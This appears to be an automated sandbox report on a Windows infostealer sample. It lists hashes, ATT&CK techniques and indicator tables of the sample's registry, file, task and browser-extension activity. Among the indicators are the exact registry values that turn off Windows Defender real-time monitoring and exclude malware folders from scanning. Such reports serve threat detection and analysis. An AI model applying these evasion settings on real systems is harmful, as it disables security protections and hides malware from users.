8e2291045eaf1de313574c26a8846e7a8afccece0b86175f783b79f769280838

Analysis

max time kernel
128s
max time network
133s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
25-09-2022 19:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

77e9cdfee4def2c8fddabcb67b46610e
SHA1

7fda822985f6a04b5b7cc94e7b38c7eda662843a
SHA256

8e2291045eaf1de313574c26a8846e7a8afccece0b86175f783b79f769280838
SHA512

7ab48189b89c74df0869921fe3c16bcf57d8ea8d646d3b026ac0b3787987ad2ddb25e8cb28ec73a161a44c9cec0d7454c87934f262177a67e49ed093d4fa25dc
SSDEEP

196608:91Ox++K1P7CnXoLHJjMjIUSCyh2lm9sSWovW18fm1gWZD:3Ox6P7HljMEUcYm9sSW/embZD

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.execonhost.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 1208 rundll32.exe
30 1208 rundll32.exe
31 1208 rundll32.exe
32 1208 rundll32.exe
33 1208 rundll32.exe
35 1208 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeKebTVHz.exeRueBuhr.exe

pid process

1536 Install.exe
764 Install.exe
1672 KebTVHz.exe
892 RueBuhr.exe

flow	pid	process
29	1208	rundll32.exe
30	1208	rundll32.exe
31	1208	rundll32.exe
32	1208	rundll32.exe
33	1208	rundll32.exe
35	1208	rundll32.exe

pid	process
1536	Install.exe
764	Install.exe
1672	KebTVHz.exe
892	RueBuhr.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

RueBuhr.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Control Panel\International\Geo\Nation RueBuhr.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Control Panel\International\Geo\Nation	RueBuhr.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1504	file.exe
1536	Install.exe
1536	Install.exe
1536	Install.exe
1536	Install.exe
764	Install.exe
764	Install.exe
764	Install.exe
1208	rundll32.exe
1208	rundll32.exe
1208	rundll32.exe
1208	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

RueBuhr.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	RueBuhr.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	RueBuhr.exe

Drops file in System32 directory 23 IoCs

Processes:

powershell.EXEpowershell.EXERueBuhr.exepowershell.EXEKebTVHz.exerundll32.exeInstall.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	RueBuhr.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	KebTVHz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	RueBuhr.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	RueBuhr.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	KebTVHz.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	KebTVHz.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	RueBuhr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	RueBuhr.exe

Drops file in Program Files directory 13 IoCs

Processes:

RueBuhr.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	RueBuhr.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	RueBuhr.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	RueBuhr.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\mPrQVYP.dll	RueBuhr.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\lhPewtK.xml	RueBuhr.exe
File created	C:\Program Files (x86)\bOFQhydRtxUn\wPTidAF.dll	RueBuhr.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\ceUurds.dll	RueBuhr.exe
File created	C:\Program Files (x86)\CXdyuXxQU\cZcwJc.dll	RueBuhr.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	RueBuhr.exe
File created	C:\Program Files (x86)\CXdyuXxQU\wsSvTPW.xml	RueBuhr.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\NcWZacrweJdcU.dll	RueBuhr.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\LfGndON.xml	RueBuhr.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\vmCqCXd.xml	RueBuhr.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job	schtasks.exe
File created	C:\Windows\Tasks\GrrjjXtPjBVPFNmZQ.job	schtasks.exe
File created	C:\Windows\Tasks\ErhcMqZyPKQzNnH.job	schtasks.exe
File created	C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
968	schtasks.exe
1320	schtasks.exe
1764	schtasks.exe
1728	schtasks.exe
1336	schtasks.exe
1784	schtasks.exe
1936	schtasks.exe
1352	schtasks.exe
1168	schtasks.exe
760	schtasks.exe
1532	schtasks.exe
360	schtasks.exe
1544	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

wscript.exeRueBuhr.exerundll32.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadDecision = "0"	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecision = "0"	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	RueBuhr.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f008f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionReason = "1"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionReason = "1"	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecisionTime = 0057b85922d1d801	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadDecisionReason = "1"	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	RueBuhr.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadDecisionTime = 0057b85922d1d801	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	RueBuhr.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\WpadNetworkName = "Network 3"	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	RueBuhr.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{358FB0CD-3072-4E59-BA35-C944FD83CE3D}\72-8a-7f-29-47-46	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	RueBuhr.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	RueBuhr.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	RueBuhr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	RueBuhr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\72-8a-7f-29-47-46\WpadDecision = "0"	rundll32.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

RueBuhr.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	RueBuhr.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb8